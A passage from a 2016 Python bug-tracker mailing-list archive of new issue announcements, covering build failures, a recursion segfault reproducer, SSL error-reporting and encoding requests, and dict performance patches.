Include/pydtrace.h:33: multiple definition of `PyDTrace_INSTANCE_NEW_START'
Python/ceval.o:Include/pydtrace.h:33: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_DONE':
Include/pydtrace.h:34: multiple definition of `PyDTrace_INSTANCE_NEW_DONE'
Python/ceval.o:Include/pydtrace.h:34: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_START':
Include/pydtrace.h:35: multiple definition of `PyDTrace_INSTANCE_DELETE_START'
Python/ceval.o:Include/pydtrace.h:35: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_DONE':
Include/pydtrace.h:36: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE'
Python/ceval.o:Include/pydtrace.h:36: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_LINE_ENABLED':
Include/pydtrace.h:38: multiple definition of `PyDTrace_LINE_ENABLED'
Python/ceval.o:Include/pydtrace.h:38: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY_ENABLED':
Include/pydtrace.h:39: multiple definition of `PyDTrace_FUNCTION_ENTRY_ENABLED'
Python/ceval.o:Include/pydtrace.h:39: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_RETURN_ENABLED':
Include/pydtrace.h:40: multiple definition of `PyDTrace_FUNCTION_RETURN_ENABLED'
Python/ceval.o:Include/pydtrace.h:40: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_START_ENABLED':
Include/pydtrace.h:41: multiple definition of `PyDTrace_GC_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:41: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_DONE_ENABLED':
Include/pydtrace.h:42: multiple definition of `PyDTrace_GC_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:42: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_START_ENABLED':
Include/pydtrace.h:43: multiple definition of `PyDTrace_INSTANCE_NEW_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:43: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_DONE_ENABLED':
Include/pydtrace.h:44: multiple definition of `PyDTrace_INSTANCE_NEW_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:44: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_START_ENABLED':
Include/pydtrace.h:45: multiple definition of `PyDTrace_INSTANCE_DELETE_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:45: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_DONE_ENABLED':
Include/pydtrace.h:46: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:46: first defined here
Modules/gcmodule.o: In function `PyDTrace_LINE':
Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:Include/pydtrace.h:28: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_ENTRY':
Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:Include/pydtrace.h:29: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_RETURN':
Include/pydtrace.h:30: multiple definition of `PyDTrace_FUNCTION_RETURN'
Python/ceval.o:Include/pydtrace.h:30: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_START':
Include/pydtrace.h:31: multiple definition of `PyDTrace_GC_START'
Python/ceval.o:Include/pydtrace.h:31: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_DONE':
Include/pydtrace.h:32: multiple definition of `PyDTrace_GC_DONE'
Python/ceval.o:Include/pydtrace.h:32: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_START':
Include/pydtrace.h:33: multiple definition of `PyDTrace_INSTANCE_NEW_START'
Python/ceval.o:Include/pydtrace.h:33: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_DONE':
Include/pydtrace.h:34: multiple definition of `PyDTrace_INSTANCE_NEW_DONE'
Python/ceval.o:Include/pydtrace.h:34: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_START':
Include/pydtrace.h:35: multiple definition of `PyDTrace_INSTANCE_DELETE_START'
Python/ceval.o:Include/pydtrace.h:35: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_DONE':
Include/pydtrace.h:36: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE'
Python/ceval.o:Include/pydtrace.h:36: first defined here
Modules/gcmodule.o: In function `PyDTrace_LINE_ENABLED':
Include/pydtrace.h:38: multiple definition of `PyDTrace_LINE_ENABLED'
Python/ceval.o:Include/pydtrace.h:38: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_ENTRY_ENABLED':
Include/pydtrace.h:39: multiple definition of `PyDTrace_FUNCTION_ENTRY_ENABLED'
Python/ceval.o:Include/pydtrace.h:39: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_RETURN_ENABLED':
Include/pydtrace.h:40: multiple definition of `PyDTrace_FUNCTION_RETURN_ENABLED'
Python/ceval.o:Include/pydtrace.h:40: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_START_ENABLED':
Include/pydtrace.h:41: multiple definition of `PyDTrace_GC_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:41: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_DONE_ENABLED':
Include/pydtrace.h:42: multiple definition of `PyDTrace_GC_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:42: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_START_ENABLED':
Include/pydtrace.h:43: multiple definition of `PyDTrace_INSTANCE_NEW_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:43: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_DONE_ENABLED':
Include/pydtrace.h:44: multiple definition of `PyDTrace_INSTANCE_NEW_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:44: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_START_ENABLED':
Include/pydtrace.h:45: multiple definition of `PyDTrace_INSTANCE_DELETE_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:45: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_DONE_ENABLED':
Include/pydtrace.h:46: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:46: first defined here
collect2: ld returned 1 exit status
make: *** [Programs/_freeze_importlib] Error 1
====================

Please check?

----------
components: Build
messages: 276674
nosy: wizzardx
priority: normal
severity: normal
status: open
title: Compilation failure on Debian 4
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 03:17:46 2016
From: report at bugs.python.org (=?utf-8?q?S=C3=A9bastien_de_Menten?=)
Date: Fri, 16 Sep 2016 07:17:46 +0000
Subject: [New-bugs-announce] [issue28178] allow to cache_clear(some_key) in
 lru_cache
Message-ID: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>


New submission from S?bastien de Menten:

It would be useful to be able to clear a single item in the cache of a lru_cache decorated function.

Currently with:

@lru_cache
def foo(i):
  return i*2
foo(1)    # -> add 1 as key in the cache
foo(2)    # -> add 2 as key in the cache
foo.clear_cache() # -> this clears the whole cache
foo.clear_cache(1) # -> this would clear the cache entry for 1

----------
components: Library (Lib)
messages: 276680
nosy: S?bastien de Menten
priority: normal
severity: normal
status: open
title: allow to cache_clear(some_key) in lru_cache
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Fri Sep 16 05:22:18 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 09:22:18 +0000
Subject: [New-bugs-announce] [issue28179] Segfault in
 test_recursionlimit_fatalerror
Message-ID: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This is a follow-up from msg275748 in issue 27213 (Rework CALL_FUNCTION* opcodes). I believe the test_runpy failure I mentioned there is also the same error, but this one can be reproduced easily.

test_recursionlimit_fatalerror in SysModuleTest (Lib/test/test_sys.py) segfaults on Ubuntu 12.04 (64-bit) with GCC 4.6.3. I compiled Python with the following commands:

    $ make distclean
    $ ./configure --with-pydebug
    $ make -s -j

To reproduce it, run (adapted from the test)

    import sys

    def f():
        try:
            f()
        except RecursionError:
            f()

    sys.setrecursionlimit(10)

    f()

I tried with different values like 50, 10, 1000 and the behavior is same.

In case it helps, here is the start of the backtrace:

#2  0x00000000004242fa in Py_FatalError (msg=0x6e0990 "Cannot recover from stack overflow.") at Python/pylifecycle.c:1457
#3  0x00000000005b6bf8 in _Py_CheckRecursiveCall (where=0x6ac0c8 " while calling a Python object") at Python/ceval.c:651
#4  0x000000000045d701 in _PyObject_FastCallDict (func=<built-in method flush of _io.TextIOWrapper object at remote 0x7ffff6607580>, args=0x0, nargs=0, kwargs=0x0) at Objects/abstract.c:2292
#5  0x000000000045e4e9 in callmethod (func=<built-in method flush of _io.TextIOWrapper object at remote 0x7ffff6607580>, format=0x0, va=0x7ffffff36eb0, is_size_t=0) at Objects/abstract.c:2569
#6  0x000000000045e872 in _PyObject_CallMethodId (o=<_io.TextIOWrapper at remote 0x7ffff6607580>, name=0x94c030, format=0x0) at Objects/abstract.c:2626
#7  0x0000000000421ceb in flush_std_files () at Python/pylifecycle.c:515
#8  0x00000000004242f2 in Py_FatalError (msg=0x6e0990 "Cannot recover from stack overflow.") at Python/pylifecycle.c:1436
#9  0x00000000005b6bf8 in _Py_CheckRecursiveCall (where=0x6e09db "") at Python/ceval.c:651
#10 0x00000000005b6f3c in _PyEval_EvalFrameDefault (f=Frame 0xabf4a8, for file a.py, line 3, in f (), throwflag=0) at Python/ceval.c:1003
#11 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf4a8, for file a.py, line 3, in f (), throwflag=0) at Python/ceval.c:718
Python Exception <class 'gdb.error'> There is no member named dk_entries.:
#12 0x00000000005d4b85 in _PyFunction_FastCall (co=0x7ffff65731c0, args=0xabf3e8, nargs=0, globals=) at Python/ceval.c:4845
#13 0x00000000005d4d7a in fast_function (func=<function at remote 0x7ffff6496338>, stack=0xabf3e8, nargs=0, kwnames=0x0) at Python/ceval.c:4880
#14 0x00000000005d4841 in call_function (pp_stack=0x7ffffff39030, oparg=0, kwnames=0x0) at Python/ceval.c:4784
#15 0x00000000005cc464 in _PyEval_EvalFrameDefault (f=Frame 0xabf258, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:3250
#16 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf258, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:718
Python Exception <class 'gdb.error'> There is no member named dk_entries.: 
#17 0x00000000005d4b85 in _PyFunction_FastCall (co=0x7ffff65731c0, args=0xabf198, nargs=0, globals=) at Python/ceval.c:4845
#18 0x00000000005d4d7a in fast_function (func=<function at remote 0x7ffff6496338>, stack=0xabf198, nargs=0, kwnames=0x0) at Python/ceval.c:4880
#19 0x00000000005d4841 in call_function (pp_stack=0x7ffffff3afa0, oparg=0, kwnames=0x0) at Python/ceval.c:4784
#20 0x00000000005cc464 in _PyEval_EvalFrameDefault (f=Frame 0xabf008, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:3250
#21 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf008, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:718

----------
components: Interpreter Core
messages: 276686
nosy: berker.peksag, haypo, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Segfault in test_recursionlimit_fatalerror
type: crash
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:17:02 2016
From: report at bugs.python.org (Jan Niklas Hasse)
Date: Fri, 16 Sep 2016 11:17:02 +0000
Subject: [New-bugs-announce] [issue28180] sys.getfilesystemencoding() should
 default to utf-8
Message-ID: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>


New submission from Jan Niklas Hasse:

Working with Docker I often end up with an environment where the locale isn't correctly set. In these cases it would be great if sys.getfilesystemencoding() could default to 'utf-8' instead of 'ascii', as it's the encoding of the future and ascii is a subset of it anyway.

Related: http://bugs.python.org/issue19846

----------
components: Unicode
messages: 276693
nosy: Jan Niklas Hasse, ezio.melotti, haypo
priority: normal
severity: normal
status: open
title: sys.getfilesystemencoding() should default to utf-8
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 07:25:00 2016
From: report at bugs.python.org (Kaartic Sivaraam)
Date: Fri, 16 Sep 2016 11:25:00 +0000
Subject: [New-bugs-announce] [issue28181] Change URL in antigravity library
 file
Message-ID: <1474025100.38.0.11071448867.issue28181@psf.upfronthosting.co.za>


New submission from Kaartic Sivaraam:

I use a network that is monitored and filtered by Cyberoam. The use Cyberoam to block some websites, and some content. 

I came to know of the antigravity easter egg recently. I tried it using  'import antigravity' and it opened the xkcd website as expected, but did not display the picture. I was able to view the image, when I changed the URL from http://xkcd.com/353 to https://xkcd.com/353 
I found that I could not view the image as Cyberoam (for some unknown reason) blocked the loading of the picture for the HTTP site.

If it does not cause any compatibility issue or other issues, please change the URL in  the antigravity library also to a HTTPS one. I request you to change this as this may go unnoticed to other people who are not aware of it.

I have attached a patch that changes the URL. You may use it if it's ok changing the URL.

----------
components: Library (Lib)
files: antigravity-patch.patch
keywords: patch
messages: 276695
nosy: kaartic
priority: normal
severity: normal
status: open
title: Change URL in antigravity library file
type: behavior
versions: Python 3.7
Added file: http://bugs.python.org/file44690/antigravity-patch.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28181>
_______________________________________

From report at bugs.python.org  Fri Sep 16 11:06:43 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Fri, 16 Sep 2016 15:06:43 +0000
Subject: [New-bugs-announce] [issue28182] Expose OpenSSL verification
 results in SSLError
Message-ID: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

This was originally a post at python-ideas. Now I reformat it to be more like a feature request.

Currently, Python raises SSLError with reason=CERTIFICATE_VERIFY_FAILED for all kinds of certificate verification failures. This results in difficulties in debugging SSL errors for others. (Some downstream bug reports: [1][2]) In OpenSSL, such errors are further divided into several kinds. For example, expired certificates result in X509_V_ERR_CERT_HAS_EXPIRED, and typical self-signed certificates fall into X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT. The error code can be retrieved via `SSL_get_verify_result` and human readable messages are available from `X509_verify_cert_error_string`. I hope I can get error messages like this: (Omit URLError to avoid verbose messages)

$ ./python -c 'import urllib.request; urllib.request.urlopen("https://self-signed.badssl.com/")'
Traceback (most recent call last):
  File "/home/yen/Projects/cpython/Lib/urllib/request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1026, in _send_output
    self.send(msg)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 964, in send
    self.connect()
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED: DEPTH_ZERO_SELF_SIGNED_CERT] certificate verify failed: self signed certificate (_ssl.c:752)

And for expired certificates:

$ ./python -c 'import urllib.request; urllib.request.urlopen("https://expired.badssl.com/")'
Traceback (most recent call last):
  File "/home/yen/Projects/cpython/Lib/urllib/request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1026, in _send_output
    self.send(msg)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 964, in send
    self.connect()
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED: CERT_HAS_EXPIRED] certificate verify failed: certificate has expired (_ssl.c:752)

I've once tried to achieve it, but my CPython knowledge is way too limited to give a good enough patch.

[1] https://github.com/rg3/youtube-dl/issues/10574
[2] https://github.com/rg3/youtube-dl/issues/7309

----------
assignee: christian.heimes
components: SSL
messages: 276724
nosy: Chi Hsuan Yen, alex, christian.heimes, dstufft, janssen
priority: normal
severity: normal
status: open
title: Expose OpenSSL verification results in SSLError
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:10:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 22:10:07 +0000
Subject: [New-bugs-announce] [issue28183] Clean up and speed up dict
 iteration
Message-ID: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

In some circumstances iterating dict under 3.6 can be 20% slower than under 3.5.

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "list(d)"

Python 3.5: Median +- std dev: 33.8 ms +- 0.7 ms
Python 3.6: Median +- std dev: 37.8 ms +- 0.5 ms

Seems this is compiler and platform specific, it is reproducible only with GCC on 32 bit.
 
Proposed patch restores 3.5 performance and simplifies the code.

Python 3.6 patched: Median +- std dev: 33.7 ms +- 0.7 ms

Other types of iteration:

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.values()" -- "list(v)"
Python 3.5:            Median +- std dev: 26.2 ms +- 0.7 ms
Python 3.6 unpatched:  Median +- std dev: 28.0 ms +- 0.6 ms
Python 3.6 patched:    Median +- std dev: 26.3 ms +- 1.1 ms

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.items()" -- "list(v)"
Python 3.5:            Median +- std dev: 232 ms +- 6 ms
Python 3.6 unpatched:  Median +- std dev: 259 ms +- 6 ms
Python 3.6 patched:    Median +- std dev: 243 ms +- 9 ms

_PyDict_Next():
$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "set(d)"
Python 3.5:            Median +- std dev: 68.3 ms +- 1.8 ms
Python 3.6 unpatched:  Median +- std dev: 68.1 ms +- 2.5 ms
Python 3.6 patched:    Median +- std dev: 66.0 ms +- 1.2 ms

PyDict_Next():
$ ./python -m perf timeit -s "from _testcapi import test_dict_iteration as t" -- "t()"
Python 3.5:            Median +- std dev: 3.31 ms +- 0.10 ms
Python 3.6 unpatched:  Median +- std dev: 3.51 ms +- 0.09 ms
Python 3.6 patched:    Median +- std dev: 3.43 ms +- 0.09 ms

----------
components: Interpreter Core
files: dict_iter.patch
keywords: patch
messages: 276755
nosy: haypo, ned.deily, rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Clean up and speed up dict iteration
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44697/dict_iter.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Fri Sep 16 20:43:55 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 00:43:55 +0000
Subject: [New-bugs-announce] [issue28184] Trailing whitespace in C source
 code
Message-ID: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

As per Terry's recommendations (#28145), I'm going to open a new issue for each case.

----------
files: trailing_whitespace.patch
keywords: patch
messages: 276761
nosy: franciscouzo, josh.r, mark.dickinson, martin.panter, r.david.murray, terry.reedy
priority: normal
severity: normal
status: open
title: Trailing whitespace in C source code
versions: Python 3.7
Added file: http://bugs.python.org/file44701/trailing_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Fri Sep 16 21:39:01 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 01:39:01 +0000
Subject: [New-bugs-announce] [issue28185] Tabs in C source code
Message-ID: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Files I didn't change: Python/dup2.c, Python/strdup.c (Since they are external dependencies)

----------
files: tabs_c.patch
keywords: patch
messages: 276762
nosy: franciscouzo, josh.r, mark.dickinson, martin.panter, r.david.murray, terry.reedy
priority: normal
severity: normal
status: open
title: Tabs in C source code
Added file: http://bugs.python.org/file44702/tabs_c.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Sat Sep 17 02:58:32 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 06:58:32 +0000
Subject: [New-bugs-announce] [issue28186] Autogenerated tabs / trailing
 whitespace
Message-ID: <1474095512.0.0.99894670529.issue28186@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Fix some auto generated whitespace issues (tabs and trailing whitespace)

----------
files: autogenerated_whitespace.patch
keywords: patch
messages: 276774
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Autogenerated tabs / trailing whitespace
versions: Python 3.7
Added file: http://bugs.python.org/file44707/autogenerated_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28186>
_______________________________________

From report at bugs.python.org  Sat Sep 17 05:36:45 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 09:36:45 +0000
Subject: [New-bugs-announce] [issue28187] Check return value of
 _PyBytes_Resize
Message-ID: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>


New submission from Berker Peksag:

There are a couple of instances that don't check return value of _PyBytes_Resize in Modules/. I noticed this while working on issue 25270.

Patch attached.

----------
components: Extension Modules
files: pybytes_resize.diff
keywords: patch
messages: 276778
nosy: berker.peksag, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Check return value of _PyBytes_Resize
type: behavior
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44710/pybytes_resize.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 10:43:07 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 17 Sep 2016 14:43:07 +0000
Subject: [New-bugs-announce] [issue28188] os.putenv should support bytes
 arguments on Windows
Message-ID: <1474123387.93.0.730915025745.issue28188@psf.upfronthosting.co.za>


New submission from Eryk Sun:

This suggestion may be controversial: os.putenv should decode bytes arguments as UTF-8, the new Windows filesystem encoding. Moreover, os.environb should also be implemented. This would be consistent with bytes support in os.spawnve and os.execve.

The controversial aspect, I think, is that this doesn't allow using arbitrary encodings for environment-variable names and values. The statement in the docs that os.environb allows one "to use a different encoding" than the filesystem encoding would have to be modified with a caveat that on wide-character platforms, such as Windows, using the filesystem encoding is mandatory.

----------
messages: 276797
nosy: eryksun
priority: normal
severity: normal
stage: needs patch
status: open
title: os.putenv should support bytes arguments on Windows
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28188>
_______________________________________

From report at bugs.python.org  Sat Sep 17 11:25:42 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 17 Sep 2016 15:25:42 +0000
Subject: [New-bugs-announce] [issue28189] dictitems_contains swallows
 compare errors
Message-ID: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Now, when compare errors raised during `in`, dict.keys(), dict.values() and set all propagate the errors. But dict.items() will swallow the errors(only key compare):

>>> class BadEq:
...     def __hash__(self):
...             return 7
...     def __eq__(self, other):
...             raise RuntimeError
... 
>>> k1, k2, v1, v2 = BadEq(), BadEq(), BadEq(), BadEq()
>>> d = {k1: v1}
>>> k2 in d.keys()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> v2 in d.values()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> k2 in {k1}
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> (k2, v2) in d.items()
False
>>> (k2, v1) in d.items()
False

dictitems_contains.patch tries to fix this.

----------
components: Interpreter Core
files: dictitems_contains.patch
keywords: patch
messages: 276801
nosy: haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: dictitems_contains swallows compare errors
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44717/dictitems_contains.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Sat Sep 17 13:20:08 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 17 Sep 2016 17:20:08 +0000
Subject: [New-bugs-announce] [issue28190] Cross-build _curses failed if host
 ncurses headers and target ncurses headers have different layouts
Message-ID: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

In changeset 919259054621 (from issue12567) and 707761d59a4a (from issue15268), /usr/include/ncursesw was added to include paths in setup.py and configure.ac. This is wrong and breaks cross-compiling. For example, if   host has /usr/include/ncursesw/ncurses.h and target has $SYSROOT/include/ncurses.h, the build fails. An example can be found in [1].

My patch removes all references to /usr/include/ncursesw and uses a robust detection, which is suitable for both native builds and cross builds.

Added the authors of aforementioned changesets.

[1] https://s3.amazonaws.com/archive.travis-ci.org/jobs/159936249/log.txt

----------
components: Build, Cross-Build
files: ncurses.patch
keywords: patch
messages: 276806
nosy: Alex.Willmer, Chi Hsuan Yen, doko, haypo
priority: normal
severity: normal
status: open
title: Cross-build _curses failed if host ncurses headers and target ncurses headers have different layouts
type: compile error
versions: Python 3.7
Added file: http://bugs.python.org/file44718/ncurses.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:15:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 18:15:02 +0000
Subject: [New-bugs-announce] [issue28191] Support RFC4985 SRVName in SAN name
Message-ID: <1474136102.17.0.179768982424.issue28191@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The standard subject alternative DNS name contains only a relationship between a cert and a host name. A host may have multiple services like HTTPS web server, IMAP server, mail servers etc. https://tools.ietf.org/html/rfc4985 defines a mechanism to define a relationship between a X.509 cert, a DNS name and a service, e.g. _https.www.example.org for service https on www.example.org.

OpenSSL is not yet able to convert a RFC4985 SRVName to a string. I have a patch, https://github.com/tiran/cpython/commits/feature/ssl_srvname

----------
assignee: christian.heimes
components: SSL
messages: 276810
nosy: christian.heimes
priority: normal
severity: normal
stage: patch review
status: open
title: Support RFC4985 SRVName in SAN name
type: security
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28191>
_______________________________________

From report at bugs.python.org  Sat Sep 17 14:58:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 18:58:34 +0000
Subject: [New-bugs-announce] [issue28192] Don't import readline in isolated
 mode
Message-ID: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>


New submission from Steve Dower:

When running in isolated mode, readline should not be automatically imported (as it could conceivably be arbitrary code).

----------
assignee: steve.dower
messages: 276816
nosy: steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: Don't import readline in isolated mode
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:06:04 2016
From: report at bugs.python.org (Raymond Hettinger)
